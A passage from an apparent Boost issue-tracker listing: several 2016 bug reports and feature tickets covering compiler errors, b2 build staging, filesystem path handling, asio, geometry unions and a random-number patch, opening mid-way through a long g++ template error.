/usr/include/boost/iostreams/chain.hpp:252:60:   required from ‘void boost::iostreams::detail::chain_base<Self, Ch, Tr, Alloc, Mode>::push_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Self = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; Ch = char; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/chain.hpp:212:5:   required from ‘void boost::iostreams::detail::chain_base<Self, Ch, Tr, Alloc, Mode>::push(const T&, int, int, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; Self = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; Ch = char; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’
/usr/include/boost/iostreams/chain.hpp:491:7:   required from ‘void boost::iostreams::detail::chain_client<Chain>::push_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Chain = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >]’
/usr/include/boost/iostreams/chain.hpp:479:5:   required from ‘void boost::iostreams::detail::chain_client<Chain>::push(const T&, int, int, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; Chain = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’
test.cpp:13:50:   required from here
/usr/include/boost/iostreams/detail/wrap_unwrap.hpp:53:14: error: use of deleted function ‘boost::iostreams::basic_zlib_decompressor<>::basic_zlib_decompressor(const boost::iostreams::basic_zlib_decompressor<>&)’
     { return t; }
              ^
In file included from test.cpp:5:0:
/usr/include/boost/iostreams/filter/zlib.hpp:280:8: note: ‘boost::iostreams::basic_zlib_decompressor<>::basic_zlib_decompressor(const boost::iostreams::basic_zlib_decompressor<>&)’ is implicitly deleted because the default definition would be ill-formed:
 struct basic_zlib_decompressor
        ^
/usr/include/boost/iostreams/filter/zlib.hpp:280:8: error: use of deleted function ‘boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::symmetric_filter(const boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >&)’
In file included from /usr/include/boost/iostreams/filter/zlib.hpp:31:0,
                 from test.cpp:5:
/usr/include/boost/iostreams/filter/symmetric.hpp:72:7: note: ‘boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::symmetric_filter(const boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >&)’ is implicitly deleted because the default definition would be ill-formed:
 class symmetric_filter {
       ^
/usr/include/boost/iostreams/filter/symmetric.hpp:72:7: error: use of deleted function ‘boost::shared_ptr<boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::impl>::shared_ptr(const boost::shared_ptr<boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::impl>&)’
In file included from /usr/include/boost/shared_ptr.hpp:17:0,
                 from /usr/include/boost/iostreams/chain.hpp:37,
                 from /usr/include/boost/iostreams/filtering_streambuf.hpp:17,
                 from /usr/include/boost/iostreams/filtering_stream.hpp:22,
                 from test.cpp:3:
/usr/include/boost/smart_ptr/shared_ptr.hpp:168:25: note: ‘boost::shared_ptr<boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::impl>::shared_ptr(const boost::shared_ptr<boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::impl>&)’ is implicitly declared as deleted because ‘boost::shared_ptr<boost::iostreams::symmetric_filter<boost::iostreams::detail::zlib_decompressor_impl<std::allocator<char> >, std::allocator<char> >::impl>’ declares a move constructor or move assignment operator
 template<class T> class shared_ptr
                         ^
In file included from /usr/include/boost/iostreams/detail/streambuf/indirect_streambuf.hpp:23:0,
                 from /usr/include/boost/iostreams/stream_buffer.hpp:22,
                 from /usr/include/boost/iostreams/chain.hpp:35,
                 from /usr/include/boost/iostreams/filtering_streambuf.hpp:17,
                 from /usr/include/boost/iostreams/filtering_stream.hpp:22,
                 from test.cpp:3:
/usr/include/boost/iostreams/detail/adapter/concept_adapter.hpp: In instantiation of ‘boost::iostreams::detail::concept_adapter<T>::concept_adapter(const T&) [with T = boost::iostreams::basic_zlib_decompressor<>]’:
/usr/include/boost/iostreams/detail/streambuf/indirect_streambuf.hpp:186:5:   required from ‘void boost::iostreams::detail::indirect_streambuf<T, Tr, Alloc, Mode>::open(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/stream_buffer.hpp:103:28:   required from ‘void boost::iostreams::stream_buffer<T, Tr, Alloc, Mode>::open_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/stream_buffer.hpp:93:5:   required from ‘boost::iostreams::stream_buffer<T, Tr, Alloc, Mode>::stream_buffer(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/chain.hpp:252:60:   required from ‘void boost::iostreams::detail::chain_base<Self, Ch, Tr, Alloc, Mode>::push_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Self = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; Ch = char; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/chain.hpp:212:5:   required from ‘void boost::iostreams::detail::chain_base<Self, Ch, Tr, Alloc, Mode>::push(const T&, int, int, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; Self = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; Ch = char; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’
/usr/include/boost/iostreams/chain.hpp:491:7:   required from ‘void boost::iostreams::detail::chain_client<Chain>::push_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Chain = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >]’
/usr/include/boost/iostreams/chain.hpp:479:5:   required from ‘void boost::iostreams::detail::chain_client<Chain>::push(const T&, int, int, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; Chain = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’
test.cpp:13:50:   required from here
/usr/include/boost/iostreams/detail/adapter/concept_adapter.hpp:64:48: error: use of deleted function ‘boost::iostreams::basic_zlib_decompressor<>::basic_zlib_decompressor(const boost::iostreams::basic_zlib_decompressor<>&)’
     explicit concept_adapter(const T& t) : t_(t)
                                                ^
In file included from /usr/include/boost/iostreams/detail/streambuf/direct_streambuf.hpp:26:0,
                 from /usr/include/boost/iostreams/stream_buffer.hpp:21,
                 from /usr/include/boost/iostreams/chain.hpp:35,
                 from /usr/include/boost/iostreams/filtering_streambuf.hpp:17,
                 from /usr/include/boost/iostreams/filtering_stream.hpp:22,
                 from test.cpp:3:
/usr/include/boost/iostreams/detail/optional.hpp: In instantiation of ‘void boost::iostreams::detail::optional<T>::reset(const T&) [with T = boost::iostreams::detail::concept_adapter<boost::iostreams::basic_zlib_decompressor<> >]’:
/usr/include/boost/iostreams/detail/streambuf/indirect_streambuf.hpp:186:5:   required from ‘void boost::iostreams::detail::indirect_streambuf<T, Tr, Alloc, Mode>::open(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/stream_buffer.hpp:103:28:   required from ‘void boost::iostreams::stream_buffer<T, Tr, Alloc, Mode>::open_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/stream_buffer.hpp:93:5:   required from ‘boost::iostreams::stream_buffer<T, Tr, Alloc, Mode>::stream_buffer(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/chain.hpp:252:60:   required from ‘void boost::iostreams::detail::chain_base<Self, Ch, Tr, Alloc, Mode>::push_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Self = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; Ch = char; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input]’
/usr/include/boost/iostreams/chain.hpp:212:5:   required from ‘void boost::iostreams::detail::chain_base<Self, Ch, Tr, Alloc, Mode>::push(const T&, int, int, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; Self = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; Ch = char; Tr = std::char_traits<char>; Alloc = std::allocator<char>; Mode = boost::iostreams::input; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’
/usr/include/boost/iostreams/chain.hpp:491:7:   required from ‘void boost::iostreams::detail::chain_client<Chain>::push_impl(const T&, int, int) [with T = boost::iostreams::basic_zlib_decompressor<>; Chain = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >]’
/usr/include/boost/iostreams/chain.hpp:479:5:   required from ‘void boost::iostreams::detail::chain_client<Chain>::push(const T&, int, int, typename boost::disable_if<boost::iostreams::is_std_io<T> >::type*) [with T = boost::iostreams::basic_zlib_decompressor<>; Chain = boost::iostreams::chain<boost::iostreams::input, char, std::char_traits<char>, std::allocator<char> >; typename boost::disable_if<boost::iostreams::is_std_io<T> >::type = void]’
test.cpp:13:50:   required from here
/usr/include/boost/iostreams/detail/optional.hpp:100:9: error: use of deleted function ‘boost::iostreams::detail::concept_adapter<boost::iostreams::basic_zlib_decompressor<> >::concept_adapter(const boost::iostreams::detail::concept_adapter<boost::iostreams::basic_zlib_decompressor<> >&)’
         new (address()) T(t);
         ^
In file included from /usr/include/boost/iostreams/detail/streambuf/indirect_streambuf.hpp:23:0,
                 from /usr/include/boost/iostreams/stream_buffer.hpp:22,
                 from /usr/include/boost/iostreams/chain.hpp:35,
                 from /usr/include/boost/iostreams/filtering_streambuf.hpp:17,
                 from /usr/include/boost/iostreams/filtering_stream.hpp:22,
                 from test.cpp:3:
/usr/include/boost/iostreams/detail/adapter/concept_adapter.hpp:35:7: note: ‘boost::iostreams::detail::concept_adapter<boost::iostreams::basic_zlib_decompressor<> >::concept_adapter(const boost::iostreams::detail::concept_adapter<boost::iostreams::basic_zlib_decompressor<> >&)’ is implicitly deleted because the default definition would be ill-formed:
 class concept_adapter {
       ^
/usr/include/boost/iostreams/detail/adapter/concept_adapter.hpp:35:7: error: use of deleted function ‘boost::iostreams::basic_zlib_decompressor<>::basic_zlib_decompressor(const boost::iostreams::basic_zlib_decompressor<>&)’

Almost the same error shows up when the gzip_decompressor is used to replace the zlib_decompressor.

This bug is also present in the 1.60.0 download.

Thanks for looking into this, Christian

#12128: Stage .pdb Files for Debug and Release - VS2015

Thu, 14 Apr 2016 21:45:28 GMT

When configuring Boost for VS2015, the pdb files are not copied to the stage\lib folder. Steps to reproduce below. The b2 command should stage the requested pdb files, should it not?

call bootstrap.bat
b2 variant=debug,release link=shared,static runtime-link=shared --with-date_time --with-thread threading=multi toolset=msvc-14.0 optimization=speed debug-symbols=on architecture=x86 address-model=32

This produces the following files in stage/lib:

boost_chrono-vc140-mt-1_60.dll
boost_chrono-vc140-mt-1_60.lib
boost_chrono-vc140-mt-gd-1_60.dll
boost_chrono-vc140-mt-gd-1_60.lib
boost_date_time-vc140-mt-1_60.dll
boost_date_time-vc140-mt-1_60.lib
boost_date_time-vc140-mt-gd-1_60.dll
boost_date_time-vc140-mt-gd-1_60.lib
boost_system-vc140-mt-1_60.dll
boost_system-vc140-mt-1_60.lib
boost_system-vc140-mt-gd-1_60.dll
boost_system-vc140-mt-gd-1_60.lib
boost_thread-vc140-mt-1_60.dll
boost_thread-vc140-mt-1_60.lib
boost_thread-vc140-mt-gd-1_60.dll
boost_thread-vc140-mt-gd-1_60.lib
libboost_chrono-vc140-mt-1_60.lib
libboost_chrono-vc140-mt-gd-1_60.lib
libboost_date_time-vc140-mt-1_60.lib
libboost_date_time-vc140-mt-gd-1_60.lib
libboost_system-vc140-mt-1_60.lib
libboost_system-vc140-mt-gd-1_60.lib
libboost_thread-vc140-mt-1_60.lib
libboost_thread-vc140-mt-gd-1_60.lib

I can manually copy the missing .pdb files by running these commands.

copy /Y bin.v2\libs\thread\build\msvc-14.0\debug\optimization-speed\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\thread\build\msvc-14.0\release\debug-symbols-on\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\chrono\build\msvc-14.0\debug\optimization-speed\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\chrono\build\msvc-14.0\release\debug-symbols-on\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\date_time\build\msvc-14.0\debug\optimization-speed\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\date_time\build\msvc-14.0\release\debug-symbols-on\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\system\build\msvc-14.0\debug\optimization-speed\threading-multi\*.pdb stage\lib\
copy /Y bin.v2\libs\system\build\msvc-14.0\release\debug-symbols-on\threading-multi\*.pdb stage\lib\

Thanks in advance,

#12127: Invoking a library's build//stage ignores --stagedir

Peter Dimov — Thu, 14 Apr 2016 17:52:06 GMT

When trying to stage a library via

b2 -sBOOST_ROOT=c:\projects\boost-git\boost --stagedir=c:\stage
  c:/projects/boost-git/boost/libs/system/build//stage

the --stagedir option is ignored and c:/projects/boost-git/boost/libs/system/build/stage is used instead.

Steven Watanabe says that this is because BOOST_STAGE_LOCATE is set in boostcpp.jam, but the boost-install rule is defined in Jamroot.

He thinks that boost-install needs to be moved to boostcpp.jam.

#12125: Another problems performing boolean operations on polygons with shared edges

ev.mipt@… — Wed, 13 Apr 2016 22:43:43 GMT

Trying to solve problems with union_ operation on mpolygons with shared edges (https://svn.boost.org/trac/boost/ticket/12118) with help of boost 1.61.0 beta. But instead of getting problems with zero areas, I'm getting really wrong result.

For example

currentPath
MULTIPOLYGON(((-5.96064376831054687500 -17.19871711730957031250,7.83307075500488281250 -32.98977279663085937500,8.81292819976806640625 -34.11151504516601562500,19.66869926452636718750 -14.42036247253417968750,-5.96064376831054687500 -17.19871711730957031250)),((-14.87041568756103515625 -6.99879980087280273438,-16.12161636352539062500 -18.30021858215332031250,-5.96064376831054687500 -17.19871711730957031250,-14.87041568756103515625 -6.99879980087280273438)))

appended Polygon
MULTIPOLYGON(((7.83307075500488281250 -32.98977279663085937500,8.81292819976806640625 -34.11151504516601562500,13.00057315826416015625 -33.85240554809570312500,7.83307075500488281250 -32.98977279663085937500)),((-22.50806808471679687500 -27.92480468750000000000,7.83307075500488281250 -32.98977279663085937500,-14.87041568756103515625 -6.99879980087280273438,-22.50806808471679687500 -27.92480468750000000000)))

Union result (same as currentPath, appended Polygon was totally ignored)
MULTIPOLYGON(((-5.96064376831054687500 -17.19871711730957031250,7.83307075500488281250 -32.98977279663085937500,8.81292819976806640625 -34.11151504516601562500,19.66869926452636718750 -14.42036247253417968750,-5.96064376831054687500 -17.19871711730957031250)),((-14.87041568756103515625 -6.99879980087280273438,-16.12161636352539062500 -18.30021858215332031250,-5.96064376831054687500 -17.19871711730957031250,-14.87041568756103515625 -6.99879980087280273438)))

#12122: Socket get_option throwing length_error exceptions

Tue, 12 Apr 2016 16:12:48 GMT

We've seen some indeterminate behavior when calling get_option(no_delay). Occasionally we'll see the length_error exception get thrown from within socket_option::boolean::resize() even though we're passing in an error_code to get_option(). Occasionally we'll get an unexpected result from the option as well (the option will be off even though it was set to on). We'll manually add more details to the exception in question so we can investigate what unexpected size the resize() function is encountering. Also, I noticed it's not the first time this exception was encountered by someone:

https://sourceforge.net/p/asio/mailman/message/6494499/

A few things should really happen here regardless of the root issue:

An exception should not be thrown when an error_code is passed in. These resize() functions need support for error_code so it can be passed through by the corresponding get_option() overload.

The exception message in resize() should contain more details. In particular, it should mention the value of the passed in size 's', and possibly the result of the size() member function as well.

We've seen this happen on Windows v6.0.6002 and v6.1.7601. We'll add more details here about the unexpected size value we're encountering once we have them.

#12119: Symlinks not supported when compiled on MSYS2 MinGW64 Windows 7

Sun, 10 Apr 2016 20:56:54 GMT

I will try to follow up this issue a bit further myself, but wanted to report it ASAP to help others and track the progress. I compiled the boost package on MSYS2 (standard package source compile) and found that it prints "symlinks supported: no". So far I could not find why this is the case, because symlinks should certainly be supported on this system/environment. When I force-disable this check, symlink support does get compiled into boost, and I get further.

Creating symlinks still fails for me, but this might be an unrelated (permission) issue: It fails now with "Got exception boost::filesystem::create_symlink: A required privilege is not held by the client:".

#12116: filesystem::path::iterator does not work correctly with "\\?\UNC\{servername}" paths

jim@… — Wed, 06 Apr 2016 20:34:24 GMT

#include <boost/filesystem.hpp>
#include <iostream>
#include <string>
int main() {
    path p("\\\\?\\UNC\\google.com\\a\\b\\c\\file.txt");
    for (auto i : p) {
        cout << i.string() << endl;
    }
}

The above code generates:

\\?
/
UNC
google.com
a
b
c
file.txt

However, it should generate:

\\?\UNC\google.com
/
a
b
c
file.txt

#12115: Boost.Asio compile error on Visual Studio 2015 Update 2

Wed, 06 Apr 2016 07:53:12 GMT

I just upgraded to VS 2015 Update 2 and boost/asio/basic_io_object.hpp fails to compile on it. Downgrading to VS 2015 Update 1 fixed this issue for me.

1>include\boost/asio/basic_io_object.hpp(45): error C2064: term does not evaluate to a function taking 2 arguments
1>  include\boost/asio/ip/basic_resolver.hpp(45): note: see reference to class template instantiation 'boost::asio::detail::service_has_move<IoObjectService>' being compiled
1>          with
1>          [
1>              IoObjectService=boost::asio::ip::resolver_service<boost::asio::ip::tcp>
1>          ]
1>  C:\work\uninav\src\private\nav_mail\MailClient.cpp(175): note: see reference to class template instantiation 'boost::asio::ip::basic_resolver<boost::asio::ip::tcp,boost::asio::ip::resolver_service<InternetProtocol>>' being compiled
1>          with
1>          [
1>              InternetProtocol=boost::asio::ip::tcp
1>          ]

Compile error in basic_io_object.hpp:45 at "service_has_move::eval("

#if defined(BOOST_ASIO_HAS_MOVE)
namespace detail
{
  // Type trait used to determine whether a service supports move.
  template <typename IoObjectService>
  class service_has_move
  {
  private:
    typedef IoObjectService service_type;
    typedef typename service_type::implementation_type implementation_type;
    template <typename T, typename U>
    static auto eval(T* t, U* u) -> decltype(t->move_construct(*u, *u), char());
    static char (&eval(...))[2];
  public:
    static const bool value =
      sizeof(service_has_move::eval(
        static_cast<service_type*>(0),
        static_cast<implementation_type*>(0))) == 1;
  };
}
#endif // defined(BOOST_ASIO_HAS_MOVE)

#12113: ./boost/mpi/communicator.hpp:1260:3: error: 'array' is not a member of 'boost::serialization'

lukeocamden@… — Tue, 05 Apr 2016 08:51:25 GMT

Boost.MPI no longer compiles because boost::serialization::array has been renamed to boost::serialization::array_view

#12111: use std placeholders in boost::bind in c++11

anonymous — Sun, 03 Apr 2016 20:30:11 GMT

Currently boost::bind imports its placeholders into the global namespace. Note that this can also happen if you do not just use boost bind at all, since multiple other boost libraries like boost::thread, boost::iostreams or boost::multi_index also include boost/bind.hpp in some way.

This clashes with std placeholders if people want to use them like they did previously with boost placeholders (in global namespace). Because _1 .. _N are now aliases to both the boost placeholders and the std placeholders.

To me it seems like the best way to fix this is to make boost bind use std placeholders when used with c++11 so that the boost::bind::placeholders namespace just becomes and alias for std::placeholders

#12109: C4100 warning (unreferenced formal parameter) in json_parser

gigaplex@… — Fri, 01 Apr 2016 11:43:16 GMT

I upgraded from boost 1.57.0 to 1.60.0, and now get build failures due to a C4100 warning while using VS2015 - unfortunately we're required to use the error on warning setting.

The transcode_codepoint function inside "property_tree\detail\json_parser\wide_encoding.hpp", amongst many other functions in the same file, have unreferenced parameters such as 'Sentinel end'.

#12108: boost::filesystem::canonical() enters infinite loop when current path is a directory symlink on windows

Fri, 01 Apr 2016 08:02:02 GMT

On Windows platforms, when the current path is a directory symlink, boost::filesystem::canonical() enters an infinite loop.

Verified using attached program on Windows 8.1 and Windows Server 2012.

The problem occurs because when the current path is a directory symlink then boost::filesystem::is_symlink(path("c:")) returns true.

Assuming the following paths:

myDir = c:\temp\symlink-example\dir mySym = c:\temp\symlink-example\sym -> myDir myFile = c:\temp\symlink-example\dir\hello.txt

When current path is set to mySym and canonical(myFile) is called:

The path components of myFile are iterated over (operations.cpp:827)
"c:" is the first component. It is considered a symlink and expanded (operations.cpp:844)
The path then becomes c:\temp\symlink-example\dir\temp\symlink-example\dir\hello.txt
scan is set true and the loop repeats. "c:" is again expanded. The loop repeats infinitely as the path grows longer and longer

#12104: windows - Visual Studio 2015 Update 2 RC gives out warning C4191 in thread_primitive.hpp

Wed, 30 Mar 2016 22:21:21 GMT

thread/win32/thread_primitives.hpp(312): warning C4191: 'type cast': unsafe conversion from 'boost::detail::win32::farproc_t' to 'boost::detail::win32::detail::gettickcount64_t'

Calling this function through the result pointer may cause your program to fail

#12100: including brings static c++ initializers into my code

Sat, 26 Mar 2016 22:17:50 GMT

At least I think so.

If I #include <boost/accumulators/statistics/rolling_mean.hpp>

Then I see that I have static variables that will need to be initialized. Because I want to include my code as a framework for other projects, we have a policy of avoiding having static initializers run (because of dynamic linkage).

I believe the issue is with the extractors:

namespace extract {

extractor<tag::lazy_rolling_mean> const lazy_rolling_mean = {}; extractor<tag::immediate_rolling_mean> const immediate_rolling_mean = {}; extractor<tag::rolling_mean> const rolling_mean = {};

BOOST_ACCUMULATORS_IGNORE_GLOBAL(lazy_rolling_mean)

BOOST_ACCUMULATORS_IGNORE_GLOBAL(immediate_rolling_mean) BOOST_ACCUMULATORS_IGNORE_GLOBAL(rolling_mean)

}

using extract::lazy_rolling_mean; using extract::immediate_rolling_mean; using extract::rolling_mean;

I think lazy_rolling_mean is the issue.

#12099: Ziggurat implementation of boost::random::exponential_distribution

Fri, 25 Mar 2016 20:19:58 GMT

The Ziggurat algorithm (implemented as of boost 1.56.0 in boost::random::normal_distribution) is suitable for any distribution with a decreasing density (or symmetric distribution with a decreasing density in one half, as in the case of normal_distribution). In particular the Marsaglia and Tsang (2000) paper that described the algorithm in the first place described both the normal distribution case and the exponential distribution.

The attached patch (which I'll shortly also submit as a git pull request) changes boost::random::exponential_distribution to use the Ziggurat algorithm.

In my testing, drawing double values, this ziggurat implementation improves the performance of the exponential distribution by about 3.9x (debian amd64, Intel Sandy Bridge CPU, g++ 5.3.1, using -O3) to 4.4x (debian amd64, Intel Haswell CPU, g++ 6 snapshot 20160313, using -O3). Using -march=native in both cases increases the relative gains further (to about 4.1x and 4.8x, respectively).

Since several other distributions rely (either directly or indirectly) on exponential_distribution, this should have notable speed improvements for drawing from them, as well.

This change has a couple of consequences, which are essentially the same as the consequences that changing normal_distribution to ziggurat had (and that some mailing list posts commented on):

the values from an random::exponential_distribution object will change, obviously.
the values from dependent distributions will change (laplace, gamma, normal, and hyperexponential, directly, plus various distributions that make use of those).
the RNG state can sometimes advance more than it would have before (in particular, whenever we need to get a tail draw).

Some other comments about the details of this patch:

I moved (without changing) the detail code for drawing an int/float pair from random/normal_distribution.hpp into a new random/detail/int_float_pair.hpp header, since it's needed by both the existing normal and new exponential ziggurat implementations, and has nothing specific to normal.
I used a table of size 257 (versus normal's 129) so as to keep the uniform int draw as an 8-bit value (which is what normal uses); since exponential doesn't need a sign bit, that leaves the full 8 bits for selecting the table index. This difference (128 vs 256) also follows Marsaglia and Tsang's original reference implementations of normal and exponential.
I couldn't find an exact source for the tables in normal_distribution.hpp, so I created a program to generate and output them. It can reproduce either the table for exponential or normal for any given table size; the normal output agrees *exactly* with the existing normal_distribution tables, and the table_x[1] value agrees (to 13 significant digits) with the Marsaglia and Tsang reference value. I'm not sure what to do with this program, though: is it suitable for dropping into random/extra?

#12096: Typo at the regex description's page?

beaux_monde@… — Fri, 25 Mar 2016 06:13:17 GMT

There is a strange (empty) row in the table which contains a list of the escape characters at the page which describes a regular expressions. Maybe shall this row contain the '\n' escape?..

#12091: help2man compatibility: add one more space between "arg" and description

Wed, 23 Mar 2016 12:24:52 GMT

help2man splits the option name and its description at two (or more) spaces. When using a longest option with an argument there is only one space between "arg" and the option description text.

#12087: transform_iterator is not assignable in VS2015

bswerts@… — Tue, 22 Mar 2016 13:55:07 GMT

The following code does not compile in Visual Studio 2015 because the assignment operator of transform_iterator seems to be deleted:

#include "boost/iterator/transform_iterator.hpp" #include <vector> int main() {

auto v = std::vector<int>{}; auto it = boost::make_transform_iterator(std::begin(v), [](int) { return 1; });

it = it;

return 0;

}

The line 'it = it' is the culprit, giving error C2280: 'boost::iterators::transform_iterator<main::<lambda_245a5d22fdccfa4a35ac6bb4a4dc8307>,std::_Vector_iterator<std::_Vector_val<std::_Simple_types<int>>>,boost::iterators::use_default,boost::iterators::use_default> &boost::iterators::transform_iterator<main::<lambda_245a5d22fdccfa4a35ac6bb4a4dc8307>,std::_Vector_iterator<std::_Vector_val<std::_Simple_types<int>>>,boost::iterators::use_default,boost::iterators::use_default>::operator =(const boost::iterators::transform_iterator<main::<lambda_245a5d22fdccfa4a35ac6bb4a4dc8307>,std::_Vector_iterator<std::_Vector_val<std::_Simple_types<int>>>,boost::iterators::use_default,boost::iterators::use_default> &)': attempting to reference a deleted function boost\iterator\transform_iterator.hpp(127): note: compiler has generated 'boost::iterators::transform_iterator<main::<lambda_245a5d22fdccfa4a35ac6bb4a4dc8307>,std::_Vector_iterator<std::_Vector_val<std::_Simple_types<int>>>,boost::iterators::use_default,boost::iterators::use_default>::operator =' here

I assume iterators need to be assignable. Furthermore I see no reason why the compiler wouldn't generate the standard member functions. Everything compiles OK in VS2013.

Thanks in advance for having a look. Regards, Ben

#12086: Fatal error LNK1104: cannot open file 'libboost_regex-vc80-mt-sgd-1_34_1.lib'

greatsaurav@… — Tue, 22 Mar 2016 12:31:49 GMT

getting below error:- Fatal error LNK1104: cannot open file 'libboost_regex-vc80-mt-sgd-1_34_1.lib'

Lib = 1.34.1 complier: Visual Studio 2008 OS- Windows 7

#12083: Rounding mode not restored when using save_state rounding struct on x64

Mon, 21 Mar 2016 17:24:42 GMT

The rounding mode is not restored when using interval_lib's save_state rounding struct on x64 when an exception is thrown (Visual Studio 2013/2015). This can have critical impact on applications. All rounding will remain downward after catching the exception. This bug does not occur in Win32.

We've also reported this issue to Microsoft: https://connect.microsoft.com/VisualStudio/Feedback/Details/2487437

Boost Repro:

#include <boost/numeric/interval.hpp>

void test_interval_number::test_boost_rounding() {

try {

boost::numeric::interval<double>::traits_type::rounding rnd; rnd.downward();

throw 1;

} catch (...) {

}

unsigned int fpu_flags = 0; errno_t err;

err = _controlfp_s(&fpu_flags, 0, 0); assert(err == 0);

assert((fpu_flags & _MCW_RC) != _RC_DOWN);

}

#12081: the minmax creates dangling references too easily

anonymous — Sun, 20 Mar 2016 20:23:47 GMT

First. minmax's example codes has created dangling references.

boost::tuple<int const&, int const&> result1 = boost::minmax(1, 0); //actual code
boost::tuple<int, int> result1 = boost::minmax(1, 0); //expected code

http://www.boost.org/doc/libs/1_60_0/libs/algorithm/minmax/index.html
http://www.boost.org/doc/libs/1_60_0/libs/algorithm/minmax/example/minmax_ex.cpp

Second. The design of minmax is unsuitable for that of C++11 era. Consider the following.

auto tp = minmax(1,2);
tp.get<0>(); // Undefined behavior

This code looks like fairy normal, but it causes undefined behavior. Since the minmax returns tuple<T const&, T const&>, the 'auto tp' has dangling references.

I think we should change the return type from tuple<T const&, T const&> to tuple<T,T>.

#12080: Boost:asio::address incompatible 32 and 64 bit

max_shifrin@… — Sun, 20 Mar 2016 14:08:39 GMT

When using g++ (GCC) 4.8.2 20140120 (Red Hat 4.8.2-16) The serialized size of boost::asio::ip::address differs between 32 and 64 bit compilations.

When compiled in 32 bit the size of the structure is 28 bytes, and when compiled in 64 bit the size of the structure is 32 bytes.

I guess it should be 32 bytes in both cases, to be inter-operable and avoid page alignment issues.

#12079: Infinite loop in boost:: filesystem::directory_iterator

alexb.x42@… — Sat, 19 Mar 2016 21:09:05 GMT

Debian Jessie (GLIBC 2.19)

I have an NTFS partition created in Windows. On that partition there is a file with very long filename that contains Cyrillic characters: D:\test\очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_файла_очень_длинное_имя_для_ф.txt

